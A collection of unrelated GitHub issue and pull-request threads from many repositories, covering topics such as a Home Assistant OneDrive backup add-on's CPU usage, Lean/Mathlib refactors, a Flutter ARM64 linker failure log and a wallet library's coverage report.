I've seen the same, and the increase in processor usage makes HA too sluggish - I've had to disable the add in.

I too have had to disable the latest update, first notice the CPU running hotter, then loads of sections not loading, or rarther, taking a very long time, suspected my HA install was corrupt, then recalled that I had installed the latest update, or rather, re-linked to OneDrive after it had updated a few days prior.  Rebooting to safe mode made no difference.  Eventually managed to get in to the add on to stop, took a very long time to both get to the add on page, then the OneDrive add on, then for it to stop.  All is now well with HA now I have stopped the add on.  Here is the difference it has made to the CPU temp now I've disabled.

Did you look for errors in the logs as well? There are a lot of people experiencing these issues of upload failures that I want to rule out as the cause first. I'm working on an update for this first. Once that's resolved if there is still increased CPU usage I will take a look at it.

Yes, seems to be upload issues in the log. For now I have the addon disabled. Will try it again when there's an update.
Great addon by the way, been using it for a while !

Did you look for errors in the logs as well? There are a lot of people experiencing these issues of upload failures that I want to rule out as the cause first. I'm working on an update for this first. Once that's resolved if there is still increased CPU usage I will take a look at it.

I did try looking in some logs, but there were a lot of different errors for loads of other things not working and not sure I was checking the correct logs as I download the full logs though whilst it was working, but having taken a look, it doesn't give any extra clues and is just full of errors for everything else in HA that was not loading at the time.

Please try to update to 2.3.6 and update if you're still seeing issues.

Please try to update to 2.3.6 and update if you're still seeing issues.

Updated, backup triggered, and uploading now and CPU temp on the way back down post backup, so, so far so good!

Been running for about an hour now and so far looking good.
Will update if I see something strange, but seems you fixed the issue.
Thanks!

På 2024-11-25 09:37 CET skrev lavinir @.***>:
Please try to update to 2.3.6 and update if you're still seeing issues.
—
Reply to this email directly, view it on GitHub https://github.com/lavinir/hassio-onedrive-backup/issues/254#issuecomment-2497268558, or unsubscribe https://github.com/notifications/unsubscribe-auth/BLAJUM5CBV2I34SHTEHFRHT2CLOUPAVCNFSM6AAAAABSI256S2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIOJXGI3DQNJVHA.
You are receiving this because you authored the thread.Message ID: @.***>

Thanks, Closing for now.

authors: HG943 lavinir lloyda spmaid

repo: lavinir/hassio-onedrive-backup


text:
Incorrect presentation of backticked code in parsing.hpp

Hello. Thanks for sharing the tool with the community. Looks very promising.
There's an issue with the presentation of the escapee member variable. It looks like this:

Attempt to move a member out of its class with but should remain inClassWithMembers`.

But the expected presentation is

Attempt to move a member out of its class with @ingroup, but should remain in ClassWithMembers.

according to the sources:
https://github.com/lawmurray/doxide/blob/96e83f492bbad4314043cfa9e97110df18dab17a/demo/parsing.hpp#L401-L407

I tried to build the demo locally, and doxide printed a bunch of warnings like:

warning: ignoring @ingroup presentation, no such group
warning: ignoring @ingroup parsing, no such group

Thanks for the heads up on this @tocic. Now fixed.
To explain, escape sequences have gone through a few iterations. At some point backticks were parsed separately so that it was unnecessary to escape @ symbols used between them. That had it's own problems, however, and it's now necessary to do so. It seems that I did not update the demonstration for this change. It should now be written @@ingroup in order to to display as @ingroup rather than be interpreted as a command.

I tried to build the demo locally, and doxide printed a bunch of warnings like:

warning: ignoring @ingroup presentation, no such group
warning: ignoring @ingroup parsing, no such group

On this one, are you using a different doxide.yaml config file from that in the repository? Groups are defined in this file. Warnings like this typically mean that the groups have not been defined.

Now fixed.

Great! I can confirm it works locally too.

On this one, are you using a different doxide.yaml config file from that in the repository? Groups are defined in this file.

Oh, I see. I've not been launching doxide from the root directory where the doxide.yaml file resided (with the intent to build docs only for the demo folder):
git clone https://github.com/lawmurray/doxide --recurse-submodules
cd "doxide/"
cmake -B "build/" -S .
cmake --build "build/"
cd "demo/"
../build/doxide init
../build/doxide build

authors: lawmurray tocic

repo: lawmurray/doxide


text:
Increase the width of the performance tests run card

Description
Text is overflowing on mobile view.
Expected Behavior
Text should remain inside card on mobile view.
Increase the Width of the card to rectify this.
Screenshots

I am willing to take this up.

Sure @samirparhi-dev  go ahead

authors: Anita-ihuman chinmaym07 samirparhi-dev


text:
Name change from Maesh to Traefik Mesh

Signed-off-by: Prayag Jain offpjain@gmail.com
Description
This PR fixes #387
Notes for Reviewers
Signed commits

[x] Yes, I signed my commits.

Shazam! That was fast. Thank you, @pjzzz.

Yeah some changes were already there :sweat_smile: Just had to change the repo link :smile:


text:
fix for issues-916 supported platforms link

Signed-off-by: Nitish vulli vullinitish@gmail.com
earlier link "platforms" working in fine when we run docs in localhost but not in Github.
what happens if make different repo for only docs do we have to update all the links??
Note: please ignore if I made any mistakes this is my first PR :)

Description

This PR fixes #
Notes to reviewers:
Checklist

[] DCO signed.
[] Title of the PR starts with area name, e.g. meshery:, mesheryctl:, ui:.

Whoo-hoo! PR #1 from @nitishvu! 🎉

authors: leecalcote nitishvu


text:
double click to full screen would be a nice feature

The Issue
a click plays a video, and another click pauses the video, so double click pauses and plays instead of opening full screen, same issue with the pre-design
Steps to Reproduce

Play any video
Double click
video will pause and resume

Expected Behaviour
double click should open full screen mode
Actual Behaviour
instead it pauses and plays
Suggested Solutions
double click to full screen would be a nice feature
System Configuration

LBRY Daemon version: 0.19.1
LBRY App version:  0.22.0-rc.8
LBRY Installation ID: 3cXLZiAWXwwJbv4fjhbXVgFtaBuUiFQM7afXmFYu5ss1chD1WCpxGUp8aW68gjeNRC
Operating system: Windows 10

Anything Else

Screenshots

Thanks for submitting @ceoger, sent you some LBC on Discord for the suggestion! We'll need to explore the media player to see if this is possible.

Implemented in https://github.com/lbryio/lbry-app/issues/1498

authors: ceoger tzarebczan

repo: lbryio/lbry-app


text:
slot attributes are deprecated - rename props for compatibility

When using vue3-google-adsense in a Vue 3 project, ESLint raises the following warning:
vue/no-deprecated-slot-attribute
slot attributes are deprecated.eslint-plugin-vue

The slot attribute is deprecated in Vue 3, and it should be replaced by the v-slot directive. Additionally, there are props such as slot and client which could benefit from renaming for better clarity and alignment with the deprecation fixes.
Steps to reproduce:

Install the vue3-google-adsense package in a Vue 3 project.
Use the component with the slot and client props.
Run ESLint or check the console for deprecation warnings.

Proposed Solution:

Change slot to slotId and client to clientId in the component props.
Update all relevant places in the documentation and codebase where slot and client are used to reflect the new names slotId and clientId.

Thank you for all your hard work and for contributing to the project. Wishing you nothing but happiness!


text:
Trying to understand Umbra queries

The Umbra query for defining the Message materialized view has something in it I don't understand and I haven't been able to look up or test: what does FORCEORDER mean/do?

cc @hbirler

When doing a hash join, you build a hash table on one input and probe it with the other. In Umbra, the hash table build side is the left input and the probe side is the right input. Since building a hash table is slow, the optimizer places the smaller input to the left side and the larger input to the right. However, during a recursion, if you place the recursion input to the left side, even if the recursion input is relatively small in each iteration, you have to rebuild the hash table and probe it in every iteration. If you place a constant input to the left side, Umbra is able to only build that hash table once and reuse it for every recursion iteration. This is a difficult trade-off and Umbra was unable to make the right choice there (which might have changed with the latest versions).
Using an experimental FORCEORDER flag, we forced Umbra's optimizer to use the given order for the join (Comment on the left/hash table build side, recursion input on the right/probe side). This way, we only scan Comment once and build a hash table on it. Then, in every recursion iteration, we keep probing this same hash table with the recursion input.
Umbra's optimizer is generally great so we didn't use FORCEORDER anywhere else. I remember trying it and making the queries actually slower because my intuition was worse than Umbra's optimizer. Still, the total number of tuples that are produced within a recursion is in general extremely difficult to estimate.

I see... that makes sense. Thank you! (The query certainly seems to be working without it, but I wanted to be sure I wasn't missing an important part of its semantics.)
Would it make sense to leave a comment to indicate that it's just an optimizer hint? Happy to file a PR (or not).

@mgree sure, PRs are welcome. For larger PRs, you'll need a CLA but for adding comments, it's not required to sign one.

authors: hbirler mgree szarnyasg


text:
我创建了一个可以编辑的矩形框然后在children属性中添加了一个文本，为什么页面上没有绘制这个文本呢

我创建了一个可以编辑的矩形框然后在children属性中添加了一个文本，为什么页面上没有绘制这个文本呢

Rect不支持添加子级， 用Box代替就可以了

repo: leaferjs/leafer-ui


text:
Building release on a M1 running Parallels with Windows 11

Hello,
I'm currently trying to run a release build on Parallels with Windows 11 on my M1 and running into the following issue:
Launching lib\main.dart on Windows in debug mode...
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopPluginRegistrarSetDestructionHandler" in Funktion ""public: class flutter::PluginRegistrarWindows * __cdecl flutter::PluginRegistrarManager::GetRegistrar<class flutter::PluginRegistrarWindows>(struct FlutterDesktopPluginRegistrar *)" (??$GetRegistrar@VPluginRegistrarWindows@flutter@@@PluginRegistrarManager@flutter@@QEAAPEAVPluginRegistrarWindows@1@PEAUFlutterDesktopPluginRegistrar@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopPluginRegistrarGetView" in Funktion ""public: __cdecl flutter::PluginRegistrarWindows::PluginRegistrarWindows(struct FlutterDesktopPluginRegistrar *)" (??0PluginRegistrarWindows@flutter@@QEAA@PEAUFlutterDesktopPluginRegistrar@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_win_sparkle_init" in Funktion ""public: void __cdecl `anonymous namespace'::AutoUpdater::SetFeedURL(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >)" (?SetFeedURL@AutoUpdater@?A0xbda41655@@QEAAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_win_sparkle_set_appcast_url" in Funktion ""public: void __cdecl `anonymous namespace'::AutoUpdater::SetFeedURL(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >)" (?SetFeedURL@AutoUpdater@?A0xbda41655@@QEAAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_win_sparkle_set_update_check_interval" in Funktion ""public: void __cdecl `anonymous namespace'::AutoUpdater::SetScheduledCheckInterval(int)" (?SetScheduledCheckInterval@AutoUpdater@?A0xbda41655@@QEAAXH@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_win_sparkle_check_update_with_ui" in Funktion ""public: void __cdecl `anonymous namespace'::AutoUpdater::CheckForUpdates(void)" (?CheckForUpdates@AutoUpdater@?A0xbda41655@@QEAAXXZ)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
auto_updater_plugin.obj : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_win_sparkle_check_update_without_ui" in Funktion ""public: void __cdecl `anonymous namespace'::AutoUpdater::CheckForUpdatesWithoutUI(void)" (?CheckForUpdatesWithoutUI@AutoUpdater@?A0xbda41655@@QEAAXXZ)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopMessengerSend" in Funktion ""public: virtual void __cdecl flutter::BinaryMessengerImpl::Send(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &,unsigned char const *,unsigned __int64,class std::function<void __cdecl(unsigned char const *,unsigned __int64)>)const " (?Send@BinaryMessengerImpl@flutter@@UEBAXAEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PEBE_KV?$function@$$A6AXPEBE_K@Z@4@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopMessengerSendWithReply" in Funktion ""public: virtual void __cdecl flutter::BinaryMessengerImpl::Send(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &,unsigned char const *,unsigned __int64,class std::function<void __cdecl(unsigned char const *,unsigned __int64)>)const " (?Send@BinaryMessengerImpl@flutter@@UEBAXAEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PEBE_KV?$function@$$A6AXPEBE_K@Z@4@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopMessengerSendResponse" in Funktion ""public: __cdecl <lambda_6886f86d7d47df0a498d9e8a525eb601>::operator()(unsigned char const *,unsigned __int64)" (??R<lambda_6886f86d7d47df0a498d9e8a525eb601>@@QEAA@PEBE_K@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopMessengerSetCallback" in Funktion ""public: virtual void __cdecl flutter::BinaryMessengerImpl::SetMessageHandler(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &,class std::function<void __cdecl(unsigned char const *,unsigned __int64,class std::function<void __cdecl(unsigned char const *,unsigned __int64)>)>)" (?SetMessageHandler@BinaryMessengerImpl@flutter@@UEAAXAEBV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$function@$$A6AXPEBE_KV?$function@$$A6AXPEBE_K@Z@std@@@Z@4@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopTextureRegistrarRegisterExternalTexture" in Funktion ""public: virtual __int64 __cdecl flutter::TextureRegistrarImpl::RegisterTexture(class std::variant<class flutter::PixelBufferTexture,class flutter::GpuSurfaceTexture> *)" (?RegisterTexture@TextureRegistrarImpl@flutter@@UEAA_JPEAV?$variant@VPixelBufferTexture@flutter@@VGpuSurfaceTexture@2@@std@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopTextureRegistrarUnregisterExternalTexture" in Funktion ""public: virtual bool __cdecl flutter::TextureRegistrarImpl::UnregisterTexture(__int64)" (?UnregisterTexture@TextureRegistrarImpl@flutter@@UEAA_N_J@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(core_implementations.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopTextureRegistrarMarkExternalTextureFrameAvailable" in Funktion ""public: virtual bool __cdecl flutter::TextureRegistrarImpl::MarkTextureFrameAvailable(__int64)" (?MarkTextureFrameAvailable@TextureRegistrarImpl@flutter@@UEAA_N_J@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(plugin_registrar.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopPluginRegistrarGetMessenger" in Funktion ""public: __cdecl flutter::PluginRegistrar::PluginRegistrar(struct FlutterDesktopPluginRegistrar *)" (??0PluginRegistrar@flutter@@QEAA@PEAUFlutterDesktopPluginRegistrar@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
flutter_wrapper_plugin.lib(plugin_registrar.obj) : error LNK2019: Verweis auf nicht aufgel�stes externes Symbol "__imp_FlutterDesktopRegistrarGetTextureRegistrar" in Funktion ""public: __cdecl flutter::PluginRegistrar::PluginRegistrar(struct FlutterDesktopPluginRegistrar *)" (??0PluginRegistrar@flutter@@QEAA@PEAUFlutterDesktopPluginRegistrar@@@Z)". [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
C:\lipko_desktop\windows\flutter\ephemeral\.plugin_symlinks\auto_updater\windows\WinSparkle-0.7.0\x64\Release\WinSparkle.lib : warning LNK4272: Bibliothekcomputertyp "x64" steht in Konflikt mit dem Zielcomputertyp "ARM64" [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
C:\lipko_desktop\windows\flutter\ephemeral\flutter_windows.dll.lib : warning LNK4272: Bibliothekcomputertyp "x64" steht in Konflikt mit dem Zielcomputertyp "ARM64" [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
C:\lipko_desktop\build\windows\plugins\auto_updater\Debug\auto_updater_plugin.dll : fatal error LNK1120: 16 nicht aufgel�ste Externe [C:\lipko_desktop\build\windows\plugins\auto_updater\auto_updater_plugin.vcxproj]
Exception: Build process failed.
Exited (sigterm)

Here's my flutter doctor output:
[√] Flutter (Channel stable, 3.3.10, on Microsoft Windows [Version 10.0.22621.525], locale de-DE)
    • Flutter version 3.3.10 on channel stable at C:\flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 135454af32 (7 weeks ago), 2022-12-15 07:36:55 -0800
    • Engine revision 3316dd8728
    • Dart version 2.18.6

[√] Chrome - develop for the web
    • Chrome at C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

[√] Visual Studio - develop for Windows (Visual Studio Community 2022 17.4.4)
    • Visual Studio at C:\Program Files\Microsoft Visual Studio\2022\Community
    • Visual Studio Community 2022 version 17.4.33213.308
    • Windows 10 SDK version 10.0.22621.0

[!] Android Studio (version 2022.1)
    • Android Studio at C:\Program Files\Android\Android Studio
    • Flutter plugin can be installed from:
       https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
       https://plugins.jetbrains.com/plugin/6351-dart
    X Unable to find bundled Java version.
    • Try updating or re-installing Android Studio.

[√] VS Code (version 1.74.3)
    • VS Code at C:\Users\verenazaiser\AppData\Local\Programs\Microsoft VS Code
    • Flutter extension version 3.58.0

[√] Connected device (3 available)
    • Windows (desktop) • windows • windows-x64    • Microsoft Windows [Version 10.0.22621.525]
    • Chrome (web)      • chrome  • web-javascript • Google Chrome 109.0.5414.120
    • Edge (web)        • edge    • web-javascript • Microsoft Edge 109.0.1518.55

[√] HTTP Host Availability
    • All required HTTP hosts are available

Anyone tried this before and maybe has a workaround/solution?
Thanks in advance!

long time no talk @novas1r1 there's no solution for this other than using x64 version of windows as flutter isn't supporting arm at the moment.

Please see this PR, winsparkle does not support arm64 yet.

Please see this https://github.com/vslavik/winsparkle/pull/249, winsparkle does not support arm64 yet.

FYI: https://github.com/vslavik/winsparkle/commit/1163282b1a4556493efa701078ffb6273830f90c


text:
Is this any different from jslinux?

jslinux
I integrated node(v14.8.0) to jslinux "riscv64-Fedora 33 (Linux)-Console"，Same problem with WebVM, such as fs slow to load, high memory usage, DNS getaddrinfo EAI_AGAIN error...

CheerpX is designed to be practically and commercially useful by achieving a high level of performance. You can verify this yourself by benchmarking some payload against the two VMs.
The limitations are similar because they reflect the underlying capabilities of the browser platform.

repo: leaningtech/webvm


text:
fix: remove an unnecessary instance or two

Not sure if they're helping?

!bench

See #9964 for very similar experiments.

authors: kbuzzard mattrobball


text:
feat(LinearAlgebra/Charpoly): the universal characteristic polynomial

Thanks!
bors merge

bors r-
Can you merge master?
bors d+

bors r+

authors: jcommelin riccardobrasca sgouezel


text:
chore: Do not import LinearOrderedField in Algebra.Module.Defs

The single abel call in Algebra.Module.Defs meant that the definition of Module imported norm_num, which imports LinearOrderedField to represent numerals. Dumb down the proof to a rw call.
Also split off the lemmas about OrderedRing from Data.Int.Cast.Lemmas to a new file Algebra.Order.Ring.Cast to further avoid importing OrderedCommMonoid in Algebra.Module.Defs.
Overall, Algebra.Module.Defs goes from 661 dependencies to 523.

!bench


text:
feat(Measure/Dirac): extensionality of measures by singletons

Two simple lemmas useful for discrete probability.

bors merge

authors: b-mehta fpvandoorn


text:
chore: rename a bunch of stuff

These are (in my opinion) improperly named things that I encountered over time. Happy to remove any of them if there are disagreements.

Remove manual instance names IccManifold and Icc_smooth_manifold. They're improper because the former is a ChartedSpace instance, while the latter is a SmoothManifoldWithCorners instance. As instances, they also probably shouldn't come up so high when searching for "Manifold" in the docs. Their names are now automatically generated, just like the two instances below them.
Rename ManifoldWithCorners.metrizableSpace to Manifold.metrizableSpace.
Rename apply_(h)fdifferential to (h)fdifferential_apply. This is to match the semantics of e.g. ite_apply and apply_ite.

Thanks! I think this is ready for a maintainer's look - for their share of bikeshedding.
maintainer merge

I think Manifold.metrizableSpace is the most sensible relatively short name. Thanks!
bors merge

authors: grunweg j-loreaux winstonyin


text:
chore: rename DivInvMonoid.Pow

This didn't match the naming convention at all.
Loogle tells me that ZPow is slightly more common than PowInt, though both are used.
This is an instance, so the name needs no deprecation

Thanks
bors merge

authors: eric-wieser j-loreaux


text:
feat: ListM.parallelMap

Needs a useful application to warrant merging, I think!
I'd originally written this to see if it helped library_search. The current test file for library_search is so fast already that the overhead in this implementation swamps any parallelism.


text:
feat: port Data.Json

Lean 4 already has FromJson & ToJson. So what to do is only to define instances of {From/To}Json (Fin n) & {From/To}Json (Subtype p) & {From/To}Json PUnit.

This should be in Mathlib/Lean because it's about a type from Lean. (Note that the devs have stated that this type is for compiler-internal use and may not be appropriate for all use cases.)

bors merge

authors: Komyyy digama0 semorrison


text:
fix: actually run the linter

After the next bump, lake exe runLinter will run the linter on Std not on Mathlib. To play it safe, we make it very clear that we want to run against Mathlib.

The first commit here fails, because the linter was actually failing and we forgot to run it! After merging in #7198, it passes.

bors p=10
bors merge

authors: eric-wieser semorrison


text:
fix(frontends/lean/info_manager): do not store holes in triplicate

Just making sure this doesn't escalate into an edit war.

I just pushed  e99786afcd105921b80350

authors: gebner leodemoura

repo: leanprover/lean


text:
(← foo) sees wrong do?

Prerequisites

[X] Put an X between the brackets on this line if you have done all of the following:

Checked that your issue isn't already filed.
Reduced the issue to a self-contained, reproducible test case.

Steps to Reproduce
example (l : List α) [Monad m] : m (List α) := do
l.mapM λ x => /- do -/ pure (← pure x) -- error: unknown id 'x'. fixed by adding closer `do`.

Expected behavior: [What you expect to happen]
I would expect either

this to work
to see the error "must be nested inside a 'do' expression"

Actual behavior: [What actually happens]
see comment
Versions
nightly commit 55157a31080e

Duplicate. See https://github.com/leanprover/lean4/issues/247

authors: kovach leodemoura


text:
RFC: simp [f] as explainable syntax; simp [unfold f].

Proposal
Right now, when the user writes simp [f] where f is a defined function, it can have one of the following effects

It adds it to the toUnfold set, and uses the internal “unfolding” machinery when encountering applications  of it.
It looks up its equational theorems (f.eq_1…), and treats them mostly like any other rewrite rule.
It does both.

The rules are intricate. It uses 1 for projection functions and reducible functions, 3 for structurally recursive functions with smart unfoldings and for non-recursive functions, and 2 else.
Following the guideline that smartness in the system can ideally be explained by less smart, more primitive features, I am wondering if it is worth coming up with syntax that exposes mechanism 1 and 2 directly.
For mechanism 1, we have that: The user can write simp [f.eq_1, f.eq_2, …] explicitly. It’s a bit annoying to have to write out the list, but that’s ok for now (and can be addressed separately if a problem).
But for mechanism 2 (and hence 3), we don’t have syntax, so I am wondering if it is worth introducing one. One proposal would be to write simp [unfold f], where unfold is a modifier similar to ↑, to mean mechanism 2. (Mechanism 3 is then just writing simp [unfold f, f.eq_1,…]).
This can be useful, for example, for functions that have equational lemmas that are too specific, and the user wants to rewrite more occurrencs, but simp [f.eq_def] is insufficient, maybe because of unfoldPartialApp or some other intricacies of simp’s bespoke unfolding machineries.
Open questions
I have not fully convinced myself yet that this is worth it.
I also want to understand better in which circumstances simp [unfold f] would work better than simp [f.eq_def] or (with #5110) simp [f.unfold]. Maybe it’s possible that we can explain every behavior of simp in terms of rewriting with various f.… lemmas.
One difference is for unfolding projection functions, which is unfolded at higher transparency setting (withReducibleAndInstances) and thus also implicitly unfolds an instance dictionary argument. Hmm.
Community Feedback
Ideas should be discussed on the Lean Zulip prior to submitting a proposal. Summarize all prior discussions and link them here.
Impact
Add :+1: to issues you consider important. If others benefit from the changes in this proposal being added, please ask them to add :+1: to it.

One data point: I don't think I've encountered a situation where I fully understood what was happening and that Lean didn't do what I wanted, so this doesn't seem very high priority to me.

authors: fpvandoorn nomeata


text:
Make import A import A.olean instead of A/Default.olean

This concludes the move away from Default.lean files.

@leodemoura Mmh, looks like I need a stage 0 update after all. Do you agree with the second commit, for a start? Cherry-picking it and updating stage 0 afterwards should fix the PR since nothing will import Init anymore.

Do you agree with the second commit, for a start?

I agree.

merged

authors: Kha leodemoura


text:
Cannot get this deployed through Vercel - Stuck at adding Supabase integration

I have attempted multiple times now to get this deployed, and every time I try to add the Supabase integration it get stuck processing. I have confirmed my Supabase account is active and working, but I cannot proceed with deployment because of this.
Can some one help me understand what I might be doing wrong or look into if this is an issue?

Hey @BDAthans, Have you resolved this issue? I encountered the same issue; it got stuck on Completing Installation... page

Hey @BDAthans, Have you resolved this issue? I encountered the same issue; it got stuck on Completing Installation... page

No I have not resolved this issue unfortunately. I have tried this multiple times since but it's still getting stuck on this for me.
Please if you find a solution post back here and share it.

authors: BDAthans kkfreedom

repo: leap-ai/headshots-starter


text:
Update default iteration count to 10000

Description of PR...
Changes

Item 1
Item 2

API Updates
New Features (required)
This section should include details regarding new features added to the library.
This should include both open and private APIs. If including both, create two
sub headers underneath this one to label updates accordingly.
Deprecations (required)
All deprecations should be listed here in order to ensure the reviewer understands
which sections of the codebase will affect contributors and users of the library.
Enhancements (optional)
The enhancements section should include code updates that were included with this
pull request. This sections should detail refactoring that might have affected
other parts of the library.
Checklist

[ ] Unit tests
[ ] Documentation

References
(optional)
Include important links regarding the implementation of this PR.
This usually includes and RFC or an aggregation of issues and/or individual conversations
that helped put this solution together. This helps ensure there is a good aggregation
of resources regarding the implementation.
Fixes #85, Fixes #22, Fixes username/repo#123
Connects #123

Total Coverage: 0 %
Coverage report

File
% Stmts
% Branch
% Funcs
% Lines
Uncovered Line #s

All files
63.82
42.5
51
65.22

src
100
100
0
100

index.ts
100
100
0
100

src/crypto/bip32
72.22
100
50
72.22

hd-wallet.ts
66.66
100
50
66.66
6-10,22

hdwallet-token.ts
83.33
100
50
83.33
24

src/crypto/bip39
81.25
100
57.14
81.25

bip39-token.ts
100
100
100
100

bip39.ts
70
100
40
70
5,8,11

src/crypto/ecc
85.71
20
60
84.61

secp256k1.ts
85.71
20
60
84.61
13,28

src/crypto/hashes
77.77
100
0
71.42

hashes.ts
77.77
100
0
71.42
10,14

src/encryption-utils
100
75
100
100

encryption-utils.ts
100
75
100
100
12-33

src/key
46.15
11.32
47.61
48.21

eth-wallet.ts
40.57
28.57
41.17
43.75
73-130

wallet-utils.ts
60
40
33.33
65.21
17-28

wallet.ts
46.59
0
57.89
46.91
23,34-73,130-166

src/keychain
67.34
60.86
54.54
69.5

keychain.ts
67.34
60.86
54.54
69.5
35,68,76,131,162-198,212-242,302

src/storage
100
100
100
100

storage-layer.ts
100
100
100
100

src/types
100
100
100
100

keychain.ts
100
100
100
100

src/utils
62.96
42.85
44.44
62.74

correct-mnemonic.ts
66.66
100
0
100

encode-signature.ts
88.88
80
100
88.88
6

encoding.ts
88.88
0
100
87.5
3

get-hdpath.ts
100
50
100
100
1

init-crypto.ts
66.66
100
0
66.66
12-16

serialize-signdoc.ts
25
0
0
25
5-18,22-23,27

tests
100
100
100
100

mockdata.ts
100
100
100
100

repo: leapwallet/leap-keychain


text:
Add error handling / messaging if balances can't be retrieved via APIs

Sometimes users can't connect to the API used to check the BTC balance. And it will show 0 BTC whereas other sources such as an explorer will show the true balance. It would be less confusing for users if the wallet showed a connection error.
Unable to determine balance, try again later., perhaps?

What's the incident rate for this? Are we finding the API unreliable for returning balances consistently or is this more a question of infrequent and general downtime?

I don't think I have ever seen a case confirmed of downtime of the API. Most cases have been resolveable by preventing a blocker from blocking the blockstream API or by using a VPN to circumvent issues based on IP blocking certain countries/jurisdictions.
This #4248 being the exception, the user doesn't get a BTC balance because there is too much history and the API service can't share it.

repo: leather-wallet/extension


text:
check if we deleted the entry

Currently we add the key into the deletedEntry map and then attempt to delete the entry. A problem comes up if we attempt to delete a key with the wrong value, since it would ultimately not delete the entry. Even though we didn't delete the entry we add it into our deletedEntry map, so it gets fully deleted inside of Flush

Hmm. To my mind the old logic was fine. memTx is an overlay, and we still want to delete the entry from the real DB even if it was not present in the overlay.

I just added a check to make sure it is deleted. As far as I am aware the real DB will only delete an entry if the value corresponding to a key is correct, which is something the overlay is not taking into account. Assuming we receive an entry with an incorrect value then we would not delete it and add the entry into our deleted entry map which doesn't seem correct. Maybe we can add a DeleteEntry function which will add an entry into deletedEntries so we delete it from real DB. IMHO the overlay Delete method seems to try and emulate the Delete method of the  real db, so I feel like its current  behaviour differs from the intended.

For real DB Delete() does not do anything and returns successfully if the entry is not found: see https://github.com/ledgerwatch/erigon-lib/blob/main/kv/mdbx/kv_mdbx.go#L1325

repo: ledgerwatch/erigon-lib


text:
Add support for nunjuncks

Hey,
Would it be possible to add support for njk / nunjuncks files?
https://mozilla.github.io/nunjucks/
Zeno.

I guess, the same icon that's in use for mustache should work.

repo: lee-dohm/file-type-icons


text:
a part of image in dataSource not appear in iOS. 部分图片在iOS上无法显示。

Which OS ?
iOS
Version
Which versions are you using:

react-native-swiper v?
1.5.13
react-native v0.?.?
0.57.0

Expected behaviour
in iOS：
if dataSource length is  6, the swiper works 4th、5th、6th images is no problem, but the 1st 2ed 3rd image not appear.
in Android is not problem.
Actual behaviour
iOS加载网络图片，前三张出不来，第一张出来的时候0.5秒就闪过了，然后第二张、第三张就出不来。
Android正常。
How to reproduce it>
